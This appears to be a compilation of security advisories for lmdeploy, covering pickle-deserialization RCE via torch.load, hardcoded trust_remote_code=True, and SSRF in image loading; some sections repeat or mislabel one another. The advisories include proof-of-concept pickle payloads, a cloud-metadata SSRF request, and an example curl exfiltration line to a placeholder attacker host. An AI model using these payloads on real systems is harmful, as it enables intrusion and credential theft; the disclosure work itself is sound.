
An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |